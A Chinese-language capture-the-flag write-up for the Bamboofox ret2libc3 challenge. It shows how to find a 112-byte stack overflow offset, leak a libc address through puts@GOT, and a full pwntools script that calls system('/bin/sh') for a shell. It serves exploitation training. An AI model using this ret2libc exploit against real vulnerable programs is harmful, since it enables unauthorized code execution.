Bamboofox ret2libc3

分析

题目链接
分析同之前的ret2libc1 ret2libc2一样
不过，这题在Bamboofox ret2libc2上进阶了一下，这次题目中不再出现system和/bin/sh相关字符串，所以这次得利用libc自行写入其中
在解题之前，先了解下libc基地址如何获取，以及如何利用基地址获取system和/bin/sh

libc_base = function_A_address - function_A_address_in_libc
#method to calculate libc_base
sys_addr = libc_base + sys_addr_in_libc
bin_sh_addr = libc_base + bin_sh_addr_in_libc

在程序中，尤其是在没关闭ASLR保护的情况下，函数的地址（除低12位）会随机改变，但其距离libc基地址的偏移不会改变
所以我们可以利用此特性，先获取libc基地址，然后用libc_database查询其他函数相对基地址的偏移,最后得到函数的地址

解题

先计算函数偏移

pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
pwndbg> r
Starting program: /home/henhen/Desktop/challenges/Bamboofox ret2libc3/ret2libc3 
No surprise anymore, system disappeard QQ.
Can you find it !?aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
...
...
──────────────────────────────────[ DISASM ]───────────────────────────────────
Invalid address 0x62616164
...
...
pwndbg> cyclic -l 0x62616164
112 //偏移值

接着利用gets()的栈溢出漏洞，把retn地址覆盖为puts_got的地址，利用puts_got泄露libc_base地址

puts_got = elf.got['puts']
puts_plt = 0x8048460

payload = b'a' * 112 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendlineafter("?",payload)

puts_addr = u32(p.recv(4))
print("puts_addr = ",hex(puts_addr))

运行脚本，显示出puts地址为

puts_addr =  0xf7daac30

接着使用libc_database查询puts函数相对libc_base的偏移量

一切都明了后，最终exp如下

from pwn import *

p = process('./ret2libc3')
elf = ELF('./ret2libc3')

puts_got = elf.got['puts']
puts_plt = 0x8048460

main_addr = 0x80484d0
#procedures to leak libcbase_addr
#libcbase_addr = puts_addr - libc_puts


payload = b'a' * 112 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendlineafter("?",payload)

puts_addr = u32(p.recv(4))
print("puts_addr = ",hex(puts_addr))
#puts address in libc is 0x6dc30
libcbase_addr = puts_addr - 0x6dc30
#so,system's address should be libcbase_addr + system's address in libc
system_address = libcbase_addr + 0x41790
str_bin_sh_addr = libcbase_addr +0x18e363

payload = b'a' * 112 + p32(system_address) + p32(main_addr) + p32(str_bin_sh_addr)
p.sendlineafter("?",payload)




p.interactive()